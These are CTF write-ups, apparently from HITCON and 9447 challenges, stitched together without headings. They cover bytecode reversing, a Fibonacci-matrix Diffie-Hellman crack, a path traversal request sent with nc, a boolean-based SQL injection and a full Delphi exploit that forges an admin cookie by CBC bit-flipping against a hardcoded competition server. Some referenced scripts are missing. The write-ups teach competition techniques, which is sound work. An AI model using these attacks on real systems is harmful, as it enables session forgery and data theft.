staticvoidHandcraftedPyc(){// Call me a Python virtual machine! I can interpret Python bytecodes!!!
varcmds=File.ReadAllLines(@"disas.txt").Select(x=>Regex.Match(x,@"(.*?)\s+(.*)").Groups.OfType<Group>().Skip(1).Select(g=>g.Value).ToArray()).ToArray();varstack=newStack<string>();foreach(varcmdincmds){if(cmd[0]=="LOAD_GLOBAL"||cmd[0]=="LOAD_CONST")stack.Push(cmd[1]);elseif(cmd[0]=="CALL_FUNCTION_1"){vararg=stack.Pop();varfunc=stack.Pop();if(func=="'chr'")stack.Push(""+(char)int.Parse(arg));elseDebugger.Break();}elseif(cmd[0]=="ROT_TWO"){vararg1=stack.Pop();vararg2=stack.Pop();stack.Push(arg1);stack.Push(arg2);}elseif(cmd[0]=="BINARY_ADD"){vararg1=stack.Pop();vararg2=stack.Pop();stack.Push(arg2+arg1);}elseDebugger.Break();}}
At the end the stack contains one variable, the ‘decrypted’ string. The first code block created the string “Call me a Python virtual machine! I can interpret Python bytecodes!!!”, while the second code block created the flag:
hitcon{Now you can compile and run Python bytecode in your brain!}
This challenge was solved by and the write up was written by one of my teammates, NGG.
The task was to crack Diffie-Hellman key exchange protocol in a group where elements correspond to Fibonacci numbers.
The base element was the 2-by-2 matrix [[0,1],[1,1]], and the group was what this base generates over a finite field of a given prime order.
All elements of this group have the form [[a,b],[b,a+b]], so the public keys (the group elements) were represented by (a,b) pairs, the private keys were represented with the exponent.
I needed a hash table with 900 million elements in order to do so, and had to use 128-bit arithmetics for internal computations, but these are not a problem on x64 Linux if you have 64 GB RAM.
The program below used 49 GB RAM and ran for about 20 minutes on a single core.
After finding the private key of the server, the following python script printed the flag.
The flag was in the topic of the official 9447 CTF IRC channel #9447ctf on freenode:
9447{Ask_for_help_here}
4w1h
We had to find a few locations by their Google Street View images. After finding the exact locations, we had to collect the directions where the little man looked.
These are the URL of the Google Street View images and directions which gave us the flag (the text of the URLs are places which they depict or which could be identified the easiest):
The QR code text contained the hint for the challenge:
two parts, all lower, add 9447{ to start and } to the end, first looks like “7do”, cut off 450ms, second like https://www.youtube.com/watch?v=5xxTkB5bGy4 like faucet script
The delay between some frames was 400ms, and 500ms for others. Interpreting this as morse code (500ms = -, 400ms = .) gives us this sequence:
The challenge description gave us the following website: http://sanutf8y-check-n2wisexx.9447.plumbing which contained the flag with unicode characters. Writing them down with normal ASCII characters gave us the flag the scoreboard accepted.
YWS
Sending GET /.. HTTP/1.1 with nc listed the file names from the parent directory (outside files), and one of the directory names was the flag.
premonition
The vulnerability was an SQL injection in the operator string.
Error text leaked, from which I saw spaces were removed (also I had to send a valid user-agent).
I solved the problem with a boolean-based technique (it could be solved much easier though). First I get the table names and found the s3ekr17_passwords table.
Then requested the contents of it. It was an (userid, password) tuple, where the password was only one character from the flag and the userid was the position of the character in the string.
The website used the same framework as the CTF, where I could reset the admin’s password, and whitelist my IP address with the code found in the main javascript file of the site (although I had to log in with an other user to make this work).
XORing something to the cyphertext will xor the same to the related cleartext & fuck up the next block.
If we change the 3rd block from
db":"hitcon-ctf"
to
admin":true}
(by xoring the bytes 49-60 and cut off the rest of the cookie), we will have what is needed to become admin.
Our code was (Delphi):
unit Unit3;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;
type
TForm3 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form3: TForm3;
implementation
uses IdTCPClient;
{$R *.dfm}
function EncodeURIComponent(const ASrc: string): UTF8String;
const
HexMap: UTF8String = '0123456789ABCDEF';
function IsSafeChar(ch: Integer): Boolean;
begin
if (ch >= 48) and (ch <= 57) then Result := True // 0-9
else if (ch >= 65) and (ch <= 90) then Result := True // A-Z
else if (ch >= 97) and (ch <= 122) then Result := True // a-z
else if (ch = 33) then Result := True // !
else if (ch >= 39) and (ch <= 42) then Result := True // '()*
else if (ch >= 45) and (ch <= 46) then Result := True // -.
else if (ch = 95) then Result := True // _
else if (ch = 126) then Result := True // ~
else Result := False;
end;
var
I, J: Integer;
ASrcUTF8: UTF8String;
begin
Result := ''; {Do not Localize}
ASrcUTF8 := UTF8Encode(ASrc);
// UTF8Encode call not strictly necessary but
// prevents implicit conversion warning
I := 1; J := 1;
SetLength(Result, Length(ASrcUTF8) * 3); // space to %xx encode every byte
while I <= Length(ASrcUTF8) do
begin
if IsSafeChar(Ord(ASrcUTF8[I])) then
begin
Result[J] := ASrcUTF8[I];
Inc(J);
end
else if ASrcUTF8[I] = ' ' then
begin
Result[J] := '+';
Inc(J);
end
else
begin
Result[J] := '%';
Result[J+1] := HexMap[(Ord(ASrcUTF8[I]) shr 4) + 1];
Result[J+2] := HexMap[(Ord(ASrcUTF8[I]) and 15) + 1];
Inc(J,3);
end;
Inc(I);
end;
SetLength(Result, J-1);
end;
function DoPost(user: string; pass: string): string;
var C: TIdTCPClient;
s,s2: string;
chunked: Boolean;
ctL: Boolean;
rem: integer;
buff: Array of Byte;
AData: string;
begin
rem := 0;
SetLength(buff,1024);
Result := '';
C := TIdTCPClient.Create;
C.Host := '52.69.244.164';
C.Port := 51913;
C.Connect;
AData := 'username=' + EncodeURIComponent(user) + '&password=' + EncodeURIComponent(pass);
C.IOHandler.WriteLn('POST / HTTP/1.1');
C.IOHandler.WriteLn('Host: 52.69.244.164:51913');
C.IOHandler.WriteLn('Content-Length: ' + IntToStr(Length(AData)));
C.IOHandler.WriteLn('Content-Type: application/x-www-form-urlencoded');
C.IOHandler.WriteLn('');
C.IOHandler.Write(AData);
s := 'a';
chunked := False;
ctl := False;
s2 := '';
while s <> '' do
begin
s := C.IOHandler.ReadLn;
if copy(s,1,12) = 'Set-Cookie: ' then
begin
if pos(' auth=',s) > 0 then
begin
Result := copy(s,pos(' auth=',s) + 6);
Result := copy(Result,1,pos(';',Result) - 1);
end;
end;
if copy(s,1,16) = 'Content-Length: ' then
begin
ctL := True;
rem := StrToInt(copy(s,17));
end;
if s = 'Transfer-Encoding: chunked' then
chunked := True;
s2 := s2 + s;
end;
s := 'a';
s2 := '';
if not chunked then
begin
if ctl then
begin
s2 := C.IOHandler.ReadString(rem);
end
else
begin
while C.IOHandler.Readable(1000) do
begin
s := C.IOHandler.ReadLn;
s2 := s2 + s;
end;
end;
end
else
begin
while True do
begin
s := C.IOHandler.ReadLn;
if s = '0' then
Break;
rem := StrToInt('$' + s);
s2 := s2 + C.IOHandler.ReadString(rem);
s := C.IOHandler.ReadLn;
end;
end;
C.Free;
//ShowMessage(Result);
//Result := s2;
end;
function DoGet(cookie: string): string;
var C: TIdTCPClient;
s,s2: string;
chunked: Boolean;
ctL: Boolean;
rem: integer;
buff: Array of Byte;
x: Integer;
cck: string;
begin
cck := '';
while cookie <> '' do
begin
cck := cck + '%' + copy(cookie,1,2);
cookie := copy(cookie,3);
end;
rem := 0;
SetLength(buff,1024);
Result := '';
C := TIdTCPClient.Create;
C.Host := '52.69.244.164';
C.Port := 51913;
C.Connect;
C.IOHandler.WriteLn('GET / HTTP/1.1');
C.IOHandler.WriteLn('Host: 52.69.244.164:51913');
C.IOHandler.WriteLn('Cookie: auth=' + cck);
C.IOHandler.WriteLn('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');
C.IOHandler.WriteLn('');
s := 'a';
chunked := False;
ctl := False;
s2 := '';
while s <> '' do
begin
s := C.IOHandler.ReadLn;
if copy(s,1,16) = 'Content-Length: ' then
begin
ctL := True;
rem := StrToInt(copy(s,17));
end;
if s = 'Transfer-Encoding: chunked' then
chunked := True;
s2 := s2 + s;
end;
s := 'a';
s2 := '';
if not chunked then
begin
if ctl then
begin
s2 := C.IOHandler.ReadString(rem);
end
else
begin
while C.IOHandler.Readable(1000) do
begin
s := C.IOHandler.ReadLn;
s2 := s2 + s;
end;
end;
end
else
begin
while True do
begin
s := C.IOHandler.ReadLn;
if s = '0' then
Break;
rem := StrToInt('$' + s);
s2 := s2 + C.IOHandler.ReadString(rem);
s := C.IOHandler.ReadLn;
end;
end;
C.Free;
Result := s2;
end;
procedure TForm3.Button1Click(Sender: TObject);
var s1, s2, s3, s4: string;
bs: array[1..16] of byte;
x: Integer;
ss: string;
SL: TStringList;
y: Integer;
sss: string;
begin
s4 := DoPost('a','b');
Edit1.Text := s4;
s1 := '';
while s4 <> '' do
begin
if s4[1] = '%' then
begin
s1 := s1 + copy(s4,2,2);
s4 := copy(s4,4);
end
else
begin
s1 := s1 + IntToHex(ord(s4[1]),2);
s4 := copy(s4,2);
end;
end;
Edit2.Text := s1;
ShowMessage(DoGet(s1));
s2 := 'db":"hitcon-ctf"';
s3 := 'admin":true} ';
for x := 48 to 63 do
begin
bs[x - 47] := StrToInt('$' + copy(s1,x * 2 + 1,2));
end;
for x := 1 to 16 do
bs[x] := bs[x] xor (ord(s2[x]) xor ord(s3[x]));
s4 := copy(s1,1,96);
for x := 1 to 12 do
s4 := s4 + IntToHex(bs[x],2);
ShowMessage(doget(s4));
end;
end.
There was an assert in the encryption code that said the length of the flag is 50 (which means 400 bits), but these numbers were around 310 bits only.
We needed to find a multiple of n to add to m%n so that m will be 400 bits, and hex-decoding it gives ‘hitcon{…}’.
We had lower and upper limits because of the needed string’s beginning, we had to brute-force between those values and check if it only contains ascii characters and it ends with ‘}’.
It was too slow, but we could speed up the process by finding one possible multiplier such that it ends with ‘}’, and then try every 256th multipliers only (because those are the ones that start with ‘}’)
Here is the full python code that does the part after decrypting with RSA.